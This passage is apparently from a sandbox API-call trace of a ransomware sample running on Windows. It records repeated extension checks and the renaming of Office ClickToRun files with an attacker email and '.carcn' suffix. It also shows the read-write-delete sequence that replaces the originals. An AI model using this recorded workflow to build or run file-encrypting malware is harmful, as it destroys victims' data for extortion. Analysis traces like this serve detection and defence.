(lpString=".zip") returned 4 [0295.330] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.330] lstrlenW (lpString=".rar") returned 4 [0295.330] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.330] lstrlenW (lpString=".bz2") returned 4 [0295.330] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.330] lstrlenW (lpString=".7z") returned 3 [0295.330] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.330] lstrlenW (lpString=".dbf") returned 4 [0295.330] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.330] lstrlenW (lpString=".1cd") returned 4 [0295.330] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0295.330] lstrlenW (lpString=".jpg") returned 4 [0295.330] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.330] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0295.330] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0295.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0295.331] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2776664) returned 1 [0295.331] CloseHandle (hObject=0x368) returned 1 [0295.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0295.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0295.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0295.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[carcinoma24@aol.com].carcn"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0295.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.333] lstrlenW (lpString=".doc") returned 4 [0295.333] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0295.333] lstrlenW (lpString=".docx") returned 5 [0295.333] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0295.333] lstrlenW (lpString=".pdf") returned 4 [0295.333] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0295.333] lstrlenW (lpString=".xls") returned 4 [0295.333] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0295.333] lstrlenW (lpString=".xlsx") returned 5 [0295.333] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0295.333] lstrlenW (lpString=".ppt") returned 4 [0295.333] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0295.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.333] lstrlenW (lpString=".zip") returned 4 [0295.334] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0295.334] lstrlenW (lpString=".rar") returned 4 [0295.334] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0295.334] lstrlenW (lpString=".bz2") returned 4 [0295.334] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0295.334] lstrlenW (lpString=".7z") returned 3 [0295.334] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0295.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.334] lstrlenW (lpString=".dbf") returned 4 [0295.334] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0295.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.334] lstrlenW (lpString=".1cd") returned 4 [0295.334] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0295.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.334] lstrlenW (lpString=".jpg") returned 4 [0295.334] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0295.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.334] lstrlenW (lpString=".doc") returned 4 [0295.334] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0295.334] lstrlenW (lpString=".docx") returned 5 [0295.334] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0295.334] lstrlenW (lpString=".pdf") returned 4 [0295.334] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0295.334] lstrlenW (lpString=".xls") returned 4 [0295.334] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0295.334] lstrlenW (lpString=".xlsx") returned 5 [0295.334] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0295.335] lstrlenW (lpString=".ppt") returned 4 [0295.335] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0295.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.335] lstrlenW (lpString=".zip") returned 4 [0295.335] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0295.335] lstrlenW (lpString=".rar") returned 4 [0295.335] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0295.335] lstrlenW (lpString=".bz2") returned 4 [0295.335] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0295.335] lstrlenW (lpString=".7z") returned 3 [0295.335] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0295.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.335] lstrlenW (lpString=".dbf") returned 4 [0295.335] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0295.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.335] lstrlenW (lpString=".1cd") returned 4 [0295.335] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0295.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0295.335] lstrlenW (lpString=".jpg") returned 4 [0295.335] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0295.335] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0295.335] lstrlenW (lpString="StreamServer.dll") returned 16 [0295.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0295.336] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1053784) returned 1 [0295.336] CloseHandle (hObject=0x368) returned 1 [0295.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0295.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.336] lstrlenW (lpString=".doc") returned 4 [0295.336] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.337] lstrlenW (lpString=".docx") returned 5 [0295.337] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0295.337] lstrlenW (lpString=".pdf") returned 4 [0295.337] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.337] lstrlenW (lpString=".xls") returned 4 [0295.337] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.337] lstrlenW (lpString=".xlsx") returned 5 [0295.337] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0295.337] lstrlenW (lpString=".ppt") returned 4 [0295.337] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.337] lstrlenW (lpString=".zip") returned 4 [0295.337] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.337] lstrlenW (lpString=".rar") returned 4 [0295.337] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.337] lstrlenW (lpString=".bz2") returned 4 [0295.337] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.337] lstrlenW (lpString=".7z") returned 3 [0295.337] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.337] lstrlenW (lpString=".dbf") returned 4 [0295.337] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.337] lstrlenW (lpString=".1cd") returned 4 [0295.338] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.338] lstrlenW (lpString=".jpg") returned 4 [0295.338] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.338] lstrlenW (lpString=".doc") returned 4 [0295.338] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.338] lstrlenW (lpString=".docx") returned 5 [0295.338] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0295.338] lstrlenW (lpString=".pdf") returned 4 [0295.338] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.338] lstrlenW (lpString=".xls") returned 4 [0295.338] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.338] lstrlenW (lpString=".xlsx") returned 5 [0295.338] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0295.338] lstrlenW (lpString=".ppt") returned 4 [0295.338] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.339] lstrlenW (lpString=".zip") returned 4 [0295.339] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.339] lstrlenW (lpString=".rar") returned 4 [0295.339] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.339] lstrlenW (lpString=".bz2") returned 4 [0295.339] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.339] lstrlenW (lpString=".7z") returned 3 [0295.339] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.339] lstrlenW (lpString=".dbf") returned 4 [0295.339] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.339] lstrlenW (lpString=".1cd") returned 4 [0295.339] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0295.339] lstrlenW (lpString=".jpg") returned 4 [0295.339] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.339] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0295.339] lstrlenW (lpString="ucrtbase.dll") returned 12 [0295.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0295.340] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=982720) returned 1 [0295.340] CloseHandle (hObject=0x368) returned 1 [0295.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0295.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0295.340] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.341] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0295.341] GetLastError () returned 0x0 [0295.341] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0xefec0, lpOverlapped=0x0) returned 1 [0295.865] WriteFile (in: hFile=0x38c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xefed0, lpOverlapped=0x0) returned 1 [0295.883] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.883] WriteFile (in: hFile=0x38c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.884] SetEndOfFile (hFile=0x38c) returned 1 [0295.884] CloseHandle (hObject=0x38c) returned 1 [0295.884] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.884] SetEndOfFile (hFile=0x368) returned 1 [0295.894] CloseHandle (hObject=0x368) returned 1 [0295.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0295.895] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1 [0295.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.895] lstrlenW (lpString=".doc") returned 4 [0295.895] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.895] lstrlenW (lpString=".docx") returned 5 [0295.895] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0295.895] lstrlenW (lpString=".pdf") returned 4 [0295.895] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.895] lstrlenW (lpString=".xls") returned 4 [0295.895] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.895] lstrlenW (lpString=".xlsx") returned 5 [0295.895] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0295.896] lstrlenW (lpString=".ppt") returned 4 [0295.896] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.896] lstrlenW (lpString=".zip") returned 4 [0295.896] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.896] lstrlenW (lpString=".rar") returned 4 [0295.896] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.896] lstrlenW (lpString=".bz2") returned 4 [0295.896] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.896] lstrlenW (lpString=".7z") returned 3 [0295.896] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.896] lstrlenW (lpString=".dbf") returned 4 [0295.896] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.896] lstrlenW (lpString=".1cd") returned 4 [0295.896] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.896] lstrlenW (lpString=".jpg") returned 4 [0295.896] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.896] lstrlenW (lpString=".doc") returned 4 [0295.896] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.896] lstrlenW (lpString=".docx") returned 5 [0295.896] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0295.896] lstrlenW (lpString=".pdf") returned 4 [0295.897] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.897] lstrlenW (lpString=".xls") returned 4 [0295.897] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.897] lstrlenW (lpString=".xlsx") returned 5 [0295.897] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0295.897] lstrlenW (lpString=".ppt") returned 4 [0295.897] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.897] lstrlenW (lpString=".zip") returned 4 [0295.897] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.897] lstrlenW (lpString=".rar") returned 4 [0295.897] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.897] lstrlenW (lpString=".bz2") returned 4 [0295.897] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.897] lstrlenW (lpString=".7z") returned 3 [0295.897] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.897] lstrlenW (lpString=".dbf") returned 4 [0295.897] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.897] lstrlenW (lpString=".1cd") returned 4 [0295.897] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0295.897] lstrlenW (lpString=".jpg") returned 4 [0295.897] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.897] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0295.898] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0295.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0295.898] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10752) returned 1 [0295.898] CloseHandle (hObject=0x368) returned 1 [0295.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0295.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0295.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0295.899] lstrlenW (lpString=".doc") returned 4 [0295.899] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0295.899] lstrlenW (lpString=".docx") returned 5 [0295.899] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0295.899] lstrlenW (lpString=".pdf") returned 4 [0295.899] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0295.899] lstrlenW (lpString=".xls") returned 4 [0295.899] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0295.899] lstrlenW (lpString=".xlsx") returned 5 [0295.899] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0295.899] lstrlenW (lpString=".ppt") returned 4 [0295.899] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0295.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0295.899] lstrlenW (lpString=".zip") returned 4 [0295.899] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0295.900] lstrlenW (lpString=".rar") returned 4 [0295.900] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0295.900] lstrlenW (lpString=".bz2") returned 4 [0295.900] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0295.900] lstrlenW (lpString=".7z") returned 3 [0295.900] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0295.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0295.900] lstrlenW (lpString=".dbf") returned 4 [0295.900] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0296.367] lstrlenW (lpString=".1cd") returned 4 [0296.367] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0296.367] lstrlenW (lpString=".jpg") returned 4 [0296.367] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0296.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0296.367] lstrlenW (lpString=".doc") 